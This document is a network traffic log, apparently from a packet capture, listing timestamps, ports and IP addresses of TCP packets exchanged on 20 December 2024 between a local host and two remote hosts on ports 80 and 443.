Dec 20, 2024 07:12:31.278588057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.278665066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.278928995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.279711008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.279766083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.279828072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.279886007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.280905008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.281022072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.281069040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.282083035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.282186985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.282237053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.283236027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.283620119 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.286292076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.286382914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.286390066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.286432028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.286891937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.286962986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.287008047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.288121939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.288184881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.288252115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.288322926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.289252996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.289383888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.289438963 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.290432930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.290586948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.290635109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.291625977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.291739941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.291799068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.292826891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.292886972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.292949915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.293009996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.294012070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.294084072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.294106960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.294154882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.295169115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.295284033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.295315981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.295339108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.296375036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.296482086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.296539068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.297530890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.297636986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.297688007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.298718929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.298825026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.298846006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.298863888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.299897909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.299957991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.300020933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.300081015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.301098108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.301151037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.301182032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.301227093 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.302284002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.302345037 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.302407026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.302455902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.303483963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.303658962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.303706884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.304651022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.304769993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.304816008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.305816889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.305942059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.305986881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.307058096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.307118893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.307140112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.307184935 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.308273077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.308387995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.308435917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.309356928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.309408903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.309539080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.309614897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.310565948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.310625076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.310683966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.310735941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.311738014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.311836004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.311892033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.312918901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.313044071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.313102961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.314120054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.314174891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.314235926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.314548969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.315274000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.315329075 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.315395117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.315474033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.316488028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.316540003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.316579103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.316656113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.317692995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.317771912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.317888975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.318840981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.318944931 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.318998098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.320044041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.320278883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.320333958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.321204901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.321252108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.321311951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.321530104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.322374105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.322443962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.322479010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.322526932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.323554039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.323601961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.323646069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.323690891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.324754000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.324800014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.324883938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.325531006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.325921059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.325963974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.326046944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.326092958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.327119112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.327164888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.327231884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.327277899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.328315973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.328360081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.328366041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.328404903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.329477072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.329524040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.329526901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.329571962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.330662012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.330707073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.330771923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.330818892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.331875086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.331921101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.331959963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.332004070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.333046913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.333096981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.333189011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.333234072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.334232092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.334372044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.334414959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.335417986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.335493088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.335537910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.336591959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.336637020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.336709976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.337528944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.337793112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.337837934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.337874889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.337914944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.339019060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.339070082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.339103937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.339157104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.340123892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.340173960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.467938900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.468000889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.468065023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.468472958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.468725920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.468774080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.468817949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.469532013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.469896078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.470001936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.470048904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.471097946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.471169949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.471220970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.472345114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.472394943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.472454071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.473472118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.473517895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.473577976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.474639893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.474688053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.478347063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.478429079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.478472948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.478867054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.478909969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.479115009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.479212046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.479255915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.480309963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.480426073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.480473995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.481478930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.481539011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.481622934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.482681036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.482731104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.482760906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.483882904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.483962059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.483983040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.484014034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.485037088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.485155106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.485198021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.486222029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.486318111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.486361027 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.487417936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.487462044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.487524033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.487684965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.488631964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.488697052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.488754034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.489773989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.489831924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.489875078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.489958048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.490953922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.491009951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.491053104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.491132021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.492141962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.492193937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.492240906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.492283106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.493316889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.493365049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.493432999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.493527889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.494515896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.494633913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.494687080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.495707989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.495733976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.495896101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.496881008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.496975899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.496985912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.497253895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.498074055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.498156071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.498181105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.498497963 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.499242067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.499296904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.499362946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.499412060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.500427008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.500514984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.500544071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.500587940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.501641989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.501694918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.501730919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.501771927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.502808094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.502882004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.502883911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.502935886 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.503987074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.504101992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.504149914 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.505199909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.505299091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.505351067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.506371975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.506495953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.506548882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.507525921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.507639885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.507694006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.508759975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.508831024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.508883953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.509888887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.510006905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.510051966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.511081934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.511188984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.511233091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.512264013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.512305021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.512371063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.513467073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.513508081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.513546944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.513600111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.514636993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.514761925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.514807940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.515830040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.515872955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.515923023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.516999960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.517045021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.517096996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.517529964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.518196106 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.518311977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.518362045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.519135952 CET	443	49817	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:31.519273996 CET	443	49817	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:31.519344091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.519359112 CET	49817	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:31.519387007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.519475937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.519519091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.519560099 CET	49817	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:31.519588947 CET	443	49817	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:31.520653009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.520761967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.520813942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.521724939 CET	80	49801	31.41.244.11	192.168.2.4
